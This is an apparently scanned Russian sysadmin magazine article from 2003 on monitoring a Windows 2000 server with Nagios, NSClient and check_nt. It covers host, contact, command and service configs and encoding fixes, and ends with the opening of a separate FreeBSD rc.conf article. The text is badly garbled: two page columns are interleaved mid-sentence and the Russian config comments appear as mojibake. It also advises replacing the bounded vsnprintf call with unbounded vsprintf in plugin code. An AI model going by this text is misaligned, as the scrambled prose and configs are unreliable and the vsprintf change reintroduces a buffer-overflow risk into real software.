Теперь-то каждый из вас сможет не только выбрать


счетчики по вкусу, но и правильно записать их название.
Ну а если самому от руки перепечатывать названия счет-
чиков в другие программы не хочется, то можно выпол-
нить еще одну хитрость.
Правой клавишей кликаем в центр графика и выбира-
Рассмотрим подробнее, что за чудо дизайна пред- ем «Сохранить как». В открывшемся диалоге вводим имя
стало перед нами. Слева мы видим дерево модуля, файла test.html и жмем “Сохранить”. Затем любым редак-
справа – координатная плоскость для отображения гра- тором открываем получившийся файл и среди кучи вся-
фиков. Сверху у нас находится панель инструментов. ких ненужных данных, ближе к концу файла, видим пол-
Ну а внизу – список счетчиков, используемых для пост- ное и правильно написанное название счетчика. Затем с
роения графика. Для добавления еще одного счетчика помощью буфера обмена его можно будет вставить в
в список нажимаем кнопку «+», находящуюся на пане- любую программу.
ли инструментов. Вкратце обсудив принципы, лежащие в основе сбора
данных о производительности Windows-машин, посмот-
рим, как можно с пользой для дела применять только что
полученные знания.
Подопытная Windows-машина называется win2000rus.
Для начала давайте выполним обязательные действия,
необходимые для того, чтобы Nagios узнал об этой маши-
не. Делать это придется вне зависимости от того, какой
способ мониторинга мы изберем. Поэтому внесем ее дан-
ные в файл hosts.cfg.

# Îïèñûâàåì õîñò ïî èìåíè win2000rus


define host{
use generic-host
host_name win2000rus
alias Windows 2000 Russian
address win2000rus
check_command check-host-alive
max_check_attempts 10
С помощью такого диалога можно просмотреть пол- notification_interval 120
ный список счетчиков, объектов и их экземпляров, суще- notification_period 24x7
notification_options d,u,r
ствующих в системе на данный момент. Для того чтобы }

14
администрирование
Теперь добавляем его в файл hostgroups.cfg, описы- С сайта производителя http://nsclient.ready2run.nl/
вающий группы хостов. download.htmhttp://nsclient.ready2run.nl берем последнюю
версию программы NSClient. Я использовал версию 1.0.7.1.
define hostgroup{ После распаковки дистрибутива должны появиться сле-
hostgroup_name win-servers
alias Windows Servers дующие директории:
contact_groups win-admins
members win2000rus
 LinuxBin – исполняемые файлы для Linux;
}  UnixSource – исходный код для всех версий Unix;
 NTSource – исходный код для всех версий Windows;
Создаем в файле contacts.cfg запись для человека,  Win_2k_XP_Bin – исполняемые файлы для Windows 2000
отвечающего за Windows-сервера. и XP;
 Win_NT4_Bin – исполняемые файлы для Windows NT.
define contact{
contact_name serge
alias Sergei Petrov Заглянув в директорию NTSource, понимаем – про-
service_notification_period 24x7 грамма написана на Delphi. Впрочем, это обстоятель-
host_notification_period 24x7
service_notification_options w,u,c,r ство никоим образом не мешает нам использовать ее
host_notification_options d,u,r для своих далеко идущих целей. Создаем директорию
service_notification_commands notify-by-email, ↵
notify-by-epager c:\Program Files\NSClient. Затем, в зависимости от ус-
host_notification_commands host-notify-by-email, ↵ тановленной у нас операционной системы, копируем в
host-notify-by-epager
email serge@test.ru нее содержимое либо из директории Win_2k_XP_Bin,
pager 172345885@pager.icq.com либо из Win_NT4_Bin. Пользуясь меню Пуск → Выпол-
}
нить запускаем командный интерпретатор cmd.exe. В
Пожалуйста, убедитесь, что вы внесли группу контак- появившемся окне набираем:
тов win-admins в файл contactgroups.cfg.
> C:\Program Files\NSClient\pNSClient /install
define contactgroup{
contactgroup_name win-admins
alias Windows admins По окончании установки система должна продемонст-
members serge рировать нам подобное окошко:
}

NSClient
Закончив с обязательными действиями, перейдем к об-
суждению первого способа мониторинга. Он состоит в
том, чтобы установить на Windows-машину программу
NSClient, доставшуюся нам в наследство от проекта
NetSaint. Запустившись как сервис, она начнет через каж- Это значит, что программе удалось прописать себя в
дые пять секунд читать содержимое определенных сис- реестре подобающим образом.
темных счетчиков Windows. Полученные величины запи- С помощью программы regedit откроем реестр. Ищем вет-
сываются в круговой буфер, в котором хранятся данные ку \HKEY_LOCAL_MACHINE\SOFTWARE\NSClient\Params.
за последние 24 часа. Занимаясь сбором статистики, про- Внутри расположились параметры password и port.
грамма ожидает входящие соединения от клиентов на Я думаю, предназначение каждого из них очевидно. Ду-
1248-й порт. Для считывания данных и передачи их сер- маю, вы согласитесь с утверждением, что возможность
веру мониторинга будет использоваться программа просматривать статистику должна быть предоставле-
check_nt из стандартной коллекции модулей Nagios. на только программам, запущенным на сервере мони-
Давайте посмотрим, какие именно сведения о функ- торинга. Меняем содержимое параметра “password” на
ционировании подопытного Windows-сервера можно по- что-нибудь длинное и трудноподбираемое, например
лучить с помощью check_nt: «PxRT890mY».
 загрузка одного или всех процессоров за последние
24 часа;
 наличие свободного места на любом подключенном к
системе жестком диске;
 состояние запущенных процессов;
 данные об использовании оперативной памяти;
 время работы системы с момента последней пере-
загрузки;
 состояние запущенных сервисов;
 дату изменения любого файла;
 данные любого системного счетчика.

Покончив с теорией, перейдем к инсталляции. Теперь любой, кто попытается подключиться для по-

№7(8), июль 2003 15


администрирование
лучения данных на порт 1248, должен будет предъявить âèðòóàëüíîé ïàìÿòè"
NT4_MemoryCommitByte = "\Ïàìÿòü\Áàéò âûäåëåííîé ↵
пароль. âèðòóàëüíîé ïàìÿòè"
Проверим, как себя чувствует наш новый сервис
W2K_SystemTotalProcessorTime = "\Ïðîöåññîð(_Total) ↵
NetSaint NT agent. Выбираем меню Пуск → Настройка → \% çàãðóæåííîñòè ïðîöåññîðà"
Панель управления. Затем дважды кликаем по пиктог- W2K_SystemSystemUpTime = "\Ñèñòåìà\Âðåìÿ ðàáîòû ñèñòåìû"
W2K_MemoryCommitLimit = "\Ïàìÿòü\Ïðåäåë âûäåëåííîé ↵
рамме «Администрирование», в открывшемся окне так âèðòóàëüíîé ïàìÿòè"
же поступаем со значком «Службы». Должно получиться W2K_MemoryCommitByte = "\Ïàìÿòü\Áàéò âûäåëåííîé ↵
âèðòóàëüíîé ïàìÿòè"
что-то подобное:
Сохранив файл, перезапускаем сервис NetSaint NT agent.
Тем, кому религия не позволяет вносить изменения в фай-
лы собственноручно, предлагаю скачать модифицирован-
ную версию здесь: http://onix.opennet.ru/files/. Еще раз бег-
ло просматриваем журнал событий, дабы убедиться в от-
сутствии ошибок при перезапуске сервиса. Также стоит
удостовериться, что вся цепочка событий происходила в
таком порядке:
Запустив службу и вернувшись в окно «Администри-
рование», щелкаем по значку «Просмотр событий». Во NSClient is now responding to queries.
NSClient 1.0.7.0 has started. Language code : 0x0419
вновь открывшемся окне выбираем «Журнал приложе- NSClient is reading C:\Program Files\NSClient\counters.defs ↵
ний». Находим уведомление от программы NSClient и кли- for counters definitions. Language code : 0x0419
NSClient has stopped
каем на нем дважды.
Закончив возню с Windows, переходим к Unix. В даль-
нейшем я предполагаю, что Nagios установлен в дирек-
торию /usr/local/nagios/. Запускается он с правами пользо-
вателя nagios, принадлежащего к группе nagios.
По крайней мере, именно так это происходит во
FreeBSD. Если вы используете другую операционную си-
стему, то вполне возможно настройки будут слегка от-
личаться. Для начала берем на сайте проекта Nagios
http://www.nagios.org/download/ самую свежую версию
модулей. В моем случае это был файл nagiosplug-1.3-
beta1.tar.gz. Распакуем архив:

# tar zxvf nagiosplug-1.3-beta1.tar.gz

К сожалению, в официальном пакете модулей, под-


ключаемых к Nagios, находится старая версия исходно-
го текста программы check_nt. Если оставить все как
есть, то некоторые функции сбора данных станут для нас
недоступны.
Нам нужно было увидеть следующую строку «NSClient Сейчас мы легко в течение нескольких секунд устра-
1.0.7.0 has started. Language code : 0x0419», опираясь на ним это досадное неудобство. Из дистрибутива, остав-
ее содержимое, мы можем узнать цифровой код языка, ленного на Windows- машине, берем файл check_nt.c,
используемого в системе. Для русского языка это 0x0419, расположившийся в директории UnixSource, и заменяем
а для английского, соответственно, 0x0409. В файле им старую версию, находящуюся на Unix-машине в ди-
C:\Program Files\NSClient\counters.defs находится описа- ректории ./nagiosplug-1.3-beta1/plugins/.
ние системных счетчиков для всех известных програм- Осталось исправить еще одну ошибку. Она касает-
ме языков. Просмотрев его до конца, понимаем, что ко- ся только тех, кто использует FreeBSD или Solaris. От-
дом 0x0419 тут явно не пахнет. Отсюда вывод – для рус- крываем файл ./nagiosplug-1.3-beta1/plugins/utils.c и
ской версии Windows получим дырку от бублика вместо ищем там строку:
статистики. Осознав, что такое несправедливое положе-
ние вещей нас не устраивает, добавляем в counters.defs nchars = vsnprintf (str, size, fmt, ap);
новую секцию с названиями счетчиков, соответствую-
щими нашему языку: Найдя, заменяем ее на вот это:

[0x0419] nchars = vsprintf (str, fmt, ap);


Description = "Russian"
NT4_SystemTotalProcessorTime = "\Ñèñòåìà\% çàãðóçêè ↵
ïðîöåññîðà" Если не выполнить исправления, то все результаты
NT4_SystemSystemUpTime = "\Ñèñòåìà\Âðåìÿ ðàáîòû ñèñòåìû"
NT4_MemoryCommitLimit = "\Ïàìÿòü\Ïðåäåë âûäåëåííîé ↵ работы модуля check_nt будут выглядеть таким образом:

16
администрирование
Memory usage: total:??????? Mb - used: ??????? Mb (???????%) ↵ # Êîìàíäà check_nt_memuse. Ïîêàçûâàåò äàííûå îá èñïîëüçîâàíèè
- free: ??????? Mb (???????%) # ïàìÿòè. Èìååòñÿ â âèäó âèðòóàëüíàÿ ïàìÿòü.
define command{
c:\ - total: ??????? Gb - used: ??????? Gb (???????%) ↵ command_name check_nt_memuse
- free ??????? Gb (???????%) command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
CPU Load (1 min. 12??????? -v MEMUSE -w $ARG1$ -c $ARG2$ -s $ARG3$
}
Смотрится такое сборище вопросов весьма забавно.
Жаль, но для нас такие данные абсолютно бесполезны. # Êîìàíäà check_nt_uptime. Îòîáðàæàåò âðåìÿ ðàáîòû ñèñòåìû
# ñ ìîìåíòà ïîñëåäíåé ïåðåçàãðóçêè
После работы над ошибками, возвратившись в главную define command{
директорию дистрибутива, проводим конфигурирование, command_name check_nt_uptime
command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
сборку и инсталляцию. -v UPTIME -s $ARG1$
}
# cd ..
# ./configure --prefix=/usr/local/nagios ↵
--with-nagios-user=nagios --with-nagios-grp=nagios # Êîìàíäà check_nt_disk_space. Îòîáðàæàåò ðàçìåð ñâîáîäíîãî
# gmake all # ïðîñòðàíñòâà íà ëþáîì æåñòêîì äèñêå ñèñòåìû
# gmake install define command{
command_name check_nt_disk_space
command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
Стоит отметить тот факт, что для компиляции исполь- -v USEDDISKSPACE –l $ARG1$ -w $ARG2$ ↵
зуется gmake вместо стандартной утилиты make. Иначе -c $ARG3$ -s $ARG4$
}
сборка сразу же после старта заканчивается сообщени-
ем о фатальной ошибке:
# Îïèñûâàåì êîìàíäó check_nt_service. Ïîçâîëÿåò ïðîâåðèòü,
# çàïóùåí ëè â ñèñòåìå òîò èëè èíîé ñåðâèñ. Îáðàòèòå âíèìàíèå
Making all in plugins # íà íåîáÿçàòåëüíóþ îïöèþ -d SHOWALL, ïîçâîëÿþùóþ âûâåñòè
“/tmp/nagiosplug-1.3-beta1/plugins/Makefile”, line 760: ↵ # áîëåå ïîäðîáíûå äèàãíîñòè÷åñêèå ñîîáùåíèÿ.
Need an operator define command{
make: fatal errors encountered – cannot continue command_name check_nt_service
*** Error code 1 command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
-v SERVICESTATE -d SHOWALL –l $ARG1$ ↵
По завершению инсталляции приступаем к созданию -s $ARG2$
}
новых команд, пользуясь которыми Nagios будет собирать
данные. Описание всех используемых команд должно
# Ñàìàÿ ïðîñòàÿ èç âñåõ âûøåîïèñàííûõ êîìàíä
располагаться в файле checkcommands.cfg. Формат это- # check_nt_client_version ïîçâîëÿåò óçíàòü âåðñèþ
го файла довольно прост. # ïðîãðàììû NSClient., ðàáîòàþùóþ â ñèñòåìå
define command{
Каждая команда начинается с открывающего тега command_name check_nt_client_version
define command{. Затем с помощью ключевого слова command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
-v CLIENTVERSION –s $ARG1$
command_name определяется имя команды. Следующая }
строка command_line определяет имя модуля, вызывае-
мого для осуществления проверки и параметры, переда- # Êîìàíäà check_nt_file_age äàåò âîçìîæíîñòü ïðîâåðèòü âðåìÿ
ваемые ему процессом Nagios. Особое внимание следу- # ìîäèôèêàöèè ëþáîãî ôàéëà íà ëîêàëüíîé ìàøèíå
define command{
ет обратить на макросы подстановки значений $USER1$, command_name check_nt_file_age
$HOSTADDRESS$, $ARG1$, $ARG2$. command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
-v FILEAGE -l $ARG1$ -w $ARG2$ ↵
Давайте посмотрим, зачем нужен каждый из них: -c $ARG3$ -s $ARG4$
 $USER1$ – путь, где нужно искать выполняемые моду- }
ли. В нашем случае он равен /usr/local/nagios/libexec/.
Значение этого макроса определяется в файле # Îïðåäåëÿåì êîìàíäó check_nt_process. Ïðåäîñòàâëÿåò
# ìåõàíèçì, ñ ïîìîùüþ êîòîðîãî ìîæíî óçíàòü, ñóùåñòâóåò ëè
resource.cfg; # â ñèñòåìå òîò èëè èíîé ïðîöåññ. Îáðàòèòå âíèìàíèå
 $HOSTADDRESS$ – IP-адрес машины, подвергаемой # íà íåîáÿçàòåëüíóþ îïöèþ -d SHOWALL, ïîçâîëÿþùóþ âûâåñòè
# áîëåå ïîäðîáíûå äèàãíîñòè÷åñêèå ñîîáùåíèÿ î ñîñòîÿíèè
проверке. Задается в определении сервисов внутри # ïðîöåññà.
файла services.cfg; define command{
 $ARG1$, $ARG2$ – параметры командной строки, пе- command_name check_nt_process
command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
редаваемые модулю проверки. Чаще всего использу- -v PROCSTATE –d SHOWALL -l $ARG1$ -s $ARG2$
}
ются для задания временных интервалов, порогов пре-
дупреждений и критических состояний.
# Êîìàíäà check_nt_counter äàåò âîçìîæíîñòü ïðîñìîòðåòü
# ñîäåðæèìîå ëþáîãî ñ÷åò÷èêà ïðîèçâîäèòåëüíîñòè, è ïîýòîìó
Завершается определение команды с помощью зак- # ÿâëÿåòñÿ ñàìîé óíèâåðñàëüíîé èç âñåõ îïèñàííûõ êîìàíä.
define command{
рывающего тега }. Итак, приступим к разбору содержи- command_name check_nt_counter
мого файла checkcommands.cfg. command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
-v COUNTER -l $ARG1$ -w $ARG2$ ↵
-c $ARG3$ -s $ARG4$
# Îïðåäåëÿåì êîìàíäó check_nt_cpuload . Èñïîëüçîâàòüñÿ îíà }
# áóäåò äëÿ ñáîðà äàííûõ î çàãðóæåííîñòè ïðîöåññîðà
define command{
command_name check_nt_cpuload После того как с файлом команд покончено, перей-
command_line $USER1$/check_nt -H $HOSTADDRESS$ ↵
-v CPULOAD -l $ARG1$ -s $ARG2$ дем к файлу сервисов. Детально формат этого файла
} рассматривался в первой статье о Nagios. Здесь мы только

№7(8), июль 2003 17


администрирование
рассмотрим формат строчки check_command, напрямую max_check_attempts 3
normal_check_interval 1
связанной с обсуждавшимися ранее макросами и $ARG1$ retry_check_interval 1
в частности. contact_groups win-admins
notification_interval 120
notification_period 24x7
check_command check_nt_process!"calc.exe,notepad.exe, ↵ notification_options c,r
mspaint.exe"!PxRT890mY # Âñå ïóòè ê ôàéëàì äîëæíû ñîäåðæàòü äâîéíîé ñèìâîë «\».
check_command check_nt_file_age!"c:\\upload\\update.dbf ↵
В приведенной выше строке check_command – клю- "!70!90!PxRT890mY
}
чевое слово, check_nt_process – название макрокоман-
ды, описанной с файле checkcommands.cfg. Все пара-
# Ýòîò ñåðâèñ ïîêàçûâàåò êîëè÷åñòâî ñâîáîäíîé âèðòóàëüíîé
метры, передаваемые макросам $ARG1$, $ARG2$, # ïàìÿòè, êîòîðîå âû÷èñëÿåòñÿ òàêèì îáðàçîì.
$ARG3$ и так далее, должны быть отделены друг от дру- # NSClient ÷èòàåò ñîäåðæèìîå ñ÷åò÷èêà
# «\Ïàìÿòü\Ïðåäåë âûäåëåííîé âèðòóàëüíîé ïàìÿòè»
га восклицательным знаком. Таким образом, выходит, # è äåëèò åãî íà 100. Òàê ïîëó÷àåòñÿ âåëè÷èíà, ïîêàçûâàþùàÿ,
что значение "calc.exe,notepad.exe,mspaint.exe" будет пе- # ñêîëüêî áàéò ïàìÿòè ïðèíèìàåòñÿ çà îäèí ïðîöåíò.
# Çàòåì äàííûå èç ñ÷åò÷èêà
редано в $ARG1$, а пароль PxRT890mY – в $ARG1$. # «\Ïàìÿòü\Áàéò âûäåëåííîé âèðòóàëüíîé ïàìÿòè»
Определившись с синтаксисом, переходим к файлу # äåëÿòñÿ íà êîëè÷åñòâî áàéò â îäíîì ïðîöåíòå.
# Òàê ìû óçíàåì, ñêîëüêî ïðîöåíòîâ çàíÿòî.
services.cfg: # Ê ñ÷àñòüþ, ëè÷íî çàíèìàòüñÿ ïîäîáíûìè îïåðàöèÿìè
# íåò íåîáõîäèìîñòè. NSClient ñäåëàåò âñå ñàì.
# Íà íàøåì ñåðâåðå ðàáîòàþò íåñêîëüêî ñàìîäåëüíûõ ïðîãðàìì. define service{
# Îíè äîëæíû âûïîëíÿòüñÿ êðóãëîñóòî÷íî, ïîýòîìó ìû ñîçäàëè use generic-service
# ñëåäóþùèé ñåðâèñ. host_name win2000rus
# Äëÿ ïðèìåðà áóäóò èñïîëüçîâàòüñÿ îáùåäîñòóïíûå ïðîãðàììû service_description Free Memory
# «Êàëüêóëÿòîð», «Paint», «Áëîêíîò», ïîñòàâëÿþùèåñÿ is_volatile 0
# ñ êàæäûì äèñòðèáóòèâîì Windows. check_period 24x7
define service{ max_check_attempts 3
use generic-service normal_check_interval 1
host_name win2000rus retry_check_interval 1
service_description User Programs contact_groups win-admins
is_volatile 0 notification_interval 120
check_period 24x7 notification_period 24x7
max_check_attempts 3 notification_options c,r
normal_check_interval 1 # Ïåðåõîä â ñîñòîÿíèå ïðåäóïðåæäåíèÿ ïðîèñõîäèò, åñëè çàíÿòî
retry_check_interval 1 # 70% ïàìÿòè. Êðèòè÷åñêèé ñòàòóñ íàñòóïàåò, êîãäà
contact_groups win-admins # èçðàñõîäîâàíî 90% ïàìÿòè.
notification_interval 120 check_command check_nt_memuse!70%!90%!PxRT890mY
notification_period 24x7 }
notification_options c,r
# Îáðàòèòå âíèìàíèå íà òîò ôàêò, ÷òî ìû ñëåäèì íå çà ñàìèìè
# ïðîãðàììàìè, à çà èõ ïðîöåññàìè â ïàìÿòè. Èìåíà ïðîöåññîâ # Ýòîò ñåðâèñ ïîçâîëÿåò óâèäåòü çàãðóçêó ïðîöåññîðà.
# ìîæíî óçíàòü ñ ïîìîùüþ âñòðîåííîãî â Windows ñòàíäàðòíîãî define service{
# äèñïåò÷åðà çàäà÷. Òàêæå ñòîèò âíèìàòåëüíî ïðèñìîòðåòüñÿ use generic-service
# ê ôîðìàòó ñïèñêà ïðîöåññîâ. host_name win2000rus
check_command check_nt_process!"calc.exe,notepad.exe, ↵ service_description CPU Load
mspaint.exe"!PxRT890mY is_volatile 0
} check_period 24x7
max_check_attempts 3
normal_check_interval 1
# Ýòîò ñåðâèñ ïîêàçûâàåò âåðñèþ ïðîãðàììû NSClient, retry_check_interval 1
# ðàáîòàþùåé â ñèñòåìå. contact_groups win-admins
define service{ notification_interval 120
use generic-service notification_period 24x7
host_name win2000rus notification_options c,r
service_description NSClient Version # Íàãðóçêà ñ÷èòàåòñÿ â èíòåðâàëå çà îäíó ìèíóòó. Ïåðåõîä
is_volatile 0 # â ñîñòîÿíèå ïðåäóïðåæäåíèÿ ïðîèñõîäèò ïðè äîñòèæåíèè óðîâíÿ
check_period 24x7 # â 80%, à êðèòè÷åñêèé ñòàòóñ íàñòóïàåò, åñëè çàãðóçêà 90%
max_check_attempts 3 # è áîëåå. Âñå ýòè õàðàêòåðèñòèêè çàäàþòñÿ öèôðàìè 1, 80, 90.
normal_check_interval 1 check_command check_nt_cpuload!1,80,90!PxRT890mY
retry_check_interval 1 }
contact_groups win-admins
notification_interval 120
notification_period 24x7 # Âðåìÿ áåñïåðåáîéíîé ðàáîòû ñèñòåìû ñ ìîìåíòà ïîñëåäíåé
notification_options c,r # ïåðåçàãðóçêè.
# Ôîðìàò êîìàíäû î÷åíü ïðîñòîé.  $ARG1$ ïåðåäàåòñÿ ïàðîëü define service{
check_command check_nt_client_version!PxRT890mY use generic-service
} host_name win2000rus
service_description Up time
is_volatile 0
# Êàæäûé ÷àñ óäàëåííûé ñåðâåð áàçû äàííûõ êëàäåò â ëîêàëüíóþ check_period 24x7
# ïàïêó îáùåãî äîñòóïà c:\upload\ ôàéë update.dbf. Â ýòîì max_check_attempts 3
# ôàéëå íàõîäÿòñÿ îáíîâëåíèÿ áàçû äàííûõ. normal_check_interval 1
# Åñëè âðåìÿ ñîçäàíèÿ ôàéëà íå ìåíÿåòñÿ áîëüøå, ÷åì 70 ìèíóò, retry_check_interval 1
# çíà÷èò, ïðîèñõîäèò ÷òî-òî íåõîðîøåå, è íóæíî ïåðåéòè contact_groups win-admins
# â ñîñòîÿíèå ïðåäóïðåæäåíèÿ. notification_interval 120
#  ñëó÷àå, êîãäà íåò èçìåíåíèé â òå÷åíèè 90 ìèíóò, ñåðâèñ notification_period 24x7
# ïåðåõîäèò â êðèòè÷åñêîå ñîñòîÿíèå. notification_options c,r
define service{ check_command check_nt_uptime!PxRT890mY
use generic-service }
host_name win2000rus
service_description File age
is_volatile 0 # Ïðîâåðÿåì, ôóíêöèîíèðóåò ëè ñåðâèñ MS SQL SERVER
check_period 24x7 # è ñàìîïèñíûé ñåðâèñ vmxposman.

18
администрирование
define service{ check_command check_nt_counter! ↵
use generic-service "\Ôàéë ïîäêà÷êè(_Total)\% èñïîëüçîâàíèÿ", ↵
host_name win2000rus "Usage %.2f %%"!80%!90%!PxRT890mY
service_description CPU Load }
is_volatile 0
check_period 24x7
max_check_attempts 3 Стоит отметить тот факт, что названия счетчиков, ис-
normal_check_interval 1
retry_check_interval 1 пользуемых в определении двух последних сервисов, на-
contact_groups win-admins писаны русскими буквами в кодировке cp1251.
notification_interval 120
notification_period 24x7 Если нарушить это требование, то NSClient не смо-
notification_options c,r жет понять, чего мы хотим от него добиться, и будет
# Ïðîáëåìà â òîì, ÷òî â ïðîãðàììå óïðàâëåíèÿ ñåðâèñàìè
# Windows ïîêàçûâàåò ïîëíûå íàçâàíèÿ ñåðâèñîâ, возвращать заведомо неправильные данные. Кодиров-
# ïðåäíàçíà÷åííûå äëÿ ÷åëîâåêà. ка cp1251 используется для записи текстов по умолча-
# Íàì íóæíî íàçâàíèå, êîòîðîå èñïîëüçóåòñÿ äëÿ âíóòðåííèõ íóæä
# Windows. Óçíàòü ýòó òàéíó ìîæíî ëèáî ïîñìîòðåâ âåòâü ðååñòðà: нию всеми русскими Windows-системами.
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services., Вот тут-то нас и поджидает проблема. Дело в том, что в
# ëèáî óñòàíîâèâ áåñïëàòíóþ óòèëèòó 'Service Manager NT',
# äîñòóïíóþ äëÿ ñêà÷èâàíèÿ ïî ñëåäóþùåìó àäðåñó: http://www большинстве Unix-подобных систем для символов русско-
# rnks.informatik.tu-cottbus.de/~fsch/english/nttols.htm го языка используется кодировка KOI8-R. Конечно, можно
# Îáðàòèòå âíèìàíèå íà òîò ôàêò, ÷òî ïî àíàëîãèè ñ ïðîöåññàìè
# èìåíà ñåðâèñîâ òîæå ìîæíî ïåðå÷èñëÿòü ÷åðåç çàïÿòóþ. перенастроить консоль, на которой работаете под cp1251,
check_command check_nt_service!”mssqlserver,vmxposman” но такой подход лично мне кажется неудобным.
}
Поэтому я поступил гораздо проще. Используя FTP,
перенес файл checkcommands.cfg на Windows-машину.
# Ñëåäèì çà êîëè÷åñòâîì çàäàíèé, íàõîäÿùèõñÿ
# â î÷åðåäè ïðèíòåðà. Затем с помощью стандартного редактора «Блокнот» внес
define service{ требуемые изменения. Сохранился, перенес файл обрат-
use generic-service
host_name win2000rus но на Unix-машину и заменил старую копию в /usr/local/
service_description Print Queue nagios/etc/.
is_volatile 0
check_period 24x7 В принципе нужного результата можно добиться раз-
max_check_attempts 3 ными путями. Немного подумав, я решил сделать это дру-
normal_check_interval 1
retry_check_interval 1 гим более простым способом. Набрал все нужные рус-
contact_groups win-admins скоязычные надписи в формате koi8-r. Из пакетов уста-
notification_interval 120
notification_period 24x7 новил несколько программ для конвертирования текстов
notification_options c,r в разные кодировки:
# Èñïîëüçóÿ êîìàíäó check_nt_counter, ìîæíî ïîëó÷èòü äàííûå
# ñ ëþáîãî ñ÷åò÷èêà.  äàííûì ñëó÷àå –
# \Î÷åðåäü ïå÷àòè(_Total)\Çàäàíèé siconv-0.2.1
# Ñòðîêà «%.0f job(s)» óêàçûâàåò ìîäóëþ ïðèìåíèòü ê ðåçóëüòàòó fconv-1.1
# ïðåîáðàçîâàíèå ê òèïó float è âûâåñòè ÷èñëî â ôîðìàòå ru-xcode-1.0
# ñ òî÷íîñòüþ íîëü çíàêîâ ïîñëå çàïÿòîé. ru-dt1489-1.4
# Çàòåì ê ÷èñëó äëÿ íàãëÿäíîñòè äîáàâëÿåòñÿ ñòðîêà «job(s)». ru-mtc-1.3
# Åñëè âàì íåïîíÿòíî, ÷òî ýòî çíà÷èò, – ïîñìîòðèòå
# äîêóìåíòàöèþ ïî ôóíêöèè printf ( ) ÿçûêà Ñ. После тестирования выяснилось, что удобнее всего
# Ïåðåõîä â ñîñòîÿíèå ïðåäóïðåæäåíèÿ ïðîèñõîäèò
# ïðè íàêîïëåíèè 5 çàäàíèé, à êðèòè÷åñêèé ñòàòóñ использовать утилиту ru-mtc.
# íàñòóïàåò, åñëè èõ ñòàíîâèòñÿ 10 è áîëåå. Для конвертирования нужно выполнить такую после-
check_command check_nt_counter! ↵
"\Î÷åðåäü ïå÷àòè(_Total)\Çàäàíèé", ↵ довательность команд:
"%.0f job(s)"!5!10!PxRT890mY
}
# cat checkcommands.cfg | mtc –f koi8 ↵
–t win 1251 > checkcommands.tmp
# mv checkcommands.tmp checkcommands.cfg
# Ïðîâåðÿåì ïðîöåíò èñïîëüçîâàíèÿ ôàéëà ïîäêà÷êè
define service{
use generic-service Теперь осталось только заставить Nagios перечитать
host_name win2000rus
service_description Paging File файлы конфигурации:
is_volatile 0
check_period 24x7
max_check_attempts 3 # /usr/local/etc/rc.d/nagios.sh restart
normal_check_interval 1
retry_check_interval 1
contact_groups win-admins Убедившись в отсутствии ошибок, можно начать ста-
notification_interval 120 вить разные садистские эксперименты по проверке
notification_period 24x7
notification_options c,r того, насколько надежно и оперативно система мони-
# Òóò ìû ñíîâà èñïîëüçóåì check_nt_counter, õîòÿ è íåìíîãî торинга реагирует на критические ситуации, происхо-
# äðóãèì ñïîñîáîì.
# Ñòðîêà «Usage %.2f %%» óêàçûâàåò ìîäóëþ ïðèìåíèòü дящие на Windows-машине. Например, для того чтобы
# ê ðåçóëüòàòó ïðåîáðàçîâàíèå ê òèïó float è âûâåñòè ÷èñëî посмотреть, как работает слежение за очередью прин-
# â ôîðìàòå ñ òî÷íîñòüþ äâà çíàêà ïîñëå çàïÿòîé.
# Çàòåì äëÿ íàãëÿäíîñòè ïðèêëåèâàåì ñïåðåäè ñòðîêó «Usage». тера, можно выключить питание принтера и отправить
# Îáðàòèòå âíèìàíèå íà äâîéíîé çíàê «%» â ñòðîêå несколько заданий на печать. Впрочем, я думаю, вы и
# ôîðìàòèðîâàíèÿ.
# Ñíîâà âñïîìíèâ õîðîøèìè ñëîâàìè ôóíêöèþ printf ( ), сами сможете придумать разные способы создаия кри-
# ïîíèìàåì, ÷òî â ðåçóëüòàòå èç äâóõ ïîëó÷èòñÿ îäèí ñèìâîë «%». тических ситуаций. Наигравшись вдоволь, можно пе-
# Ïåðåõîä â ñîñòîÿíèå ïðåäóïðåæäåíèÿ ïðîèñõîäèò ïðè äîñòèæåíèè
# óðîâíÿ â 80 ïðîöåíòîâ, à êðèòè÷åñêèé ñòàòóñ íàñòóïàåò, реходить ко второму способу мониторинга, который я
# åñëè ôàéë ïîäêà÷êè çàïîëíåí íà 90 è áîëåå ïðîöåíòîâ. опишу в следующей статье.

№7(8), июль 2003 19


администрирование

ДЕНИС ПЕПЛИН
20
администрирование
Знакомство с системой зачастую начинается с ее уста- копировать /etc/defaults/rc.conf в /etc/rc.conf, что без та-
новки и настройки, причем эти два процесса обычно со- кой защиты привело бы к зацикливанию.
вмещены. Для систем Unix настройка сводится к созда- Включение в rc.conf команд нежелательно. Хотя та-
нию текстовых файлов конфигурации. В FreeBSD основ- кой метод и работает, процесс загрузки будет нарушен,
ная работа идет над файлом /etc/rc.conf, который являет- ведь обычно в rc.conf ничего, кроме установки перемен-
ся частью системы стартовых скриптов /etc/rc*. ных не происходит, все действия выполняются позже
Настроить систему после установки можно путем за- стартовыми скриптами. При правильной настройке (ус-
пуска /stand/sysinstall или вручную. Оба способа хороши, тановка переменных) порядок запуска сервисов и уста-
а первый к тому же лишен недостатка большинства про- новки параметров системы определяется не положени-
грамм автоматической настройки: уже заданные парамет- ем строк в rc.conf, которое может быть произвольным, а
ры не перезаписываются, а добавляются в конец файла содержимым скриптов.
/etc/rc.conf, где их можно затем отредактировать под соб- Начиная с FreeBSD 5.x, содержимое это поменялось
ственные нужды или вообще удалить, чтобы вернуться к почти полностью: из NetBSD были заимствованы скрип-
настройкам по умолчанию. ты «нового поколения» /etc/rc.d. После некоторой паузы,
Многие, казалось бы, сложные вещи, которые мо- потребовавшейся на тестирование новых скриптов, ста-
гут поставить новичка в тупик, в FreeBSD делаются рые были убраны. Наиболее важные из оставшихся в /etc
путем добавления пары строк в этот файл. Чтобы не скриптов и файлы конфигурации:
быть голословным, приведу пример настройки шлюза  rc – запускается init при загрузке системы.
в Интернет для локальной сети с частными адресами  rc.shutdown – запускается init при останове системы.
(192.168.0.0/24) на внутреннем интерфейсе и NAT на  rc.subr – часть системы, импортированной из NetBSD.
